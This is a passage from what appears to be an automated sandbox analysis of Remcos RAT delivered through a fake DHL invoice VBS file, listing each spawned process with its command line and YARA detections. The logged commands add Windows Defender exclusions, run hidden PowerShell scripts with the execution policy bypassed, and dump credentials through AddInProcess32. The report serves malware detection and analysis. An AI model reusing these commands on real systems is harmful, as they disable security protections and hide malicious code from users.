Commandline:	powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	00:17:08
Start date:	22/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000005.00000002.1787528120.000002803C402000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	00:17:08
Start date:	22/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c mkdir "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\"
Imagebase:	0x7ff6a1700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	00:17:09
Start date:	22/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x11.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	00:17:09
Start date:	22/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x22.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	00:17:11
Start date:	22/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	00:17:20
Start date:	22/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	00:17:20
Start date:	22/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c del "C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs"
Imagebase:	0x7ff6a1700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	17
Start time:	00:17:23
Start date:	22/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Imagebase:	0x7ff6a1700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	00:17:23
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	19
Start time:	00:17:23
Start date:	22/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000013.00000002.2364592750.000001E3B1150000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000013.00000002.2364592750.000001E3B1150000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000013.00000002.2364592750.000001E3B1150000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000013.00000002.2364592750.000001E3B1150000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Target ID:	20
Start time:	00:17:23
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	21
Start time:	00:17:24
Start date:	22/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x970000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	22
Start time:	00:17:26
Start date:	22/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x80000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	23
Start time:	00:17:26
Start date:	22/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x940000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Target ID:	24
Start time:	00:17:31
Start date:	22/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Imagebase:	0x7ff6a1700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	25
Start time:	00:17:31
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	26
Start time:	00:17:31
Start date:	22/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001A.00000002.2531838956.000001C222A41000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001A.00000002.2531838956.000001C222A41000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001A.00000002.2531838956.000001C222A41000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000001A.00000002.2531838956.000001C222A41000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Analysis Process: AddInProcess32.exePID: 4456, Parent PID: 8160

General

Target ID:	27
Start time:	00:17:31
Start date:	22/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\qpqzbrslzlqmxxqwczcuhtgf"
Imagebase:	0x3f0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	28
Start time:	00:17:31
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	29
Start time:	00:17:31
Start date:	22/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\qpqzbrslzlqmxxqwczcuhtgf"
Imagebase:	0x880000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	30
Start time:	00:17:31
Start date:	22/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\ajvsujdnntiralmilkxwkxswwkf"
Imagebase:	0xf20000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	31
Start time:	00:17:32
Start date:	22/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\user\AppData\Local\Temp\lladutngjbaekramcnkpuknfxzxbri"
Imagebase:	0xd70000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	32
Start time:	00:17:34
Start date:	22/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xb40000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	33
Start time:	00:17:40
Start date:	22/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Imagebase:	0x7ff6a1700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7668, Parent PID: 932

General

Target ID:	34
Start time:	00:17:40
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	35
Start time:	00:17:41
Start date:	22/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000023.00000002.2563409063.000001A890401000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000023.00000002.2563409063.000001A890401000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000023.00000002.2563409063.000001A890401000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000023.00000002.2563409063.000001A890401000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Analysis Process: conhost.exePID: 8012, Parent PID: 7972

General

Target ID:	36
Start time:	00:17:41
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	37
Start time:	00:17:43
Start date:	22/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x550000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	38
Start time:	00:17:49
Start date:	22/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Imagebase:	0x7ff6a1700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5144, Parent PID: 6520

General

Target ID:	39
Start time:	00:17:49
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	40
Start time:	00:17:49
Start date:	22/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000028.00000002.2788200178.000001B33CDBE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000028.00000002.2788200178.000001B33CDBE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000028.00000002.2788200178.000001B33CDBE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000028.00000002.2788200178.000001B33CDBE000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Analysis Process: conhost.exePID: 6660, Parent PID: 6644

General

Target ID:	41
Start time:	00:17:49
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	42
Start time:	00:17:51
Start date:	22/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x5c0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true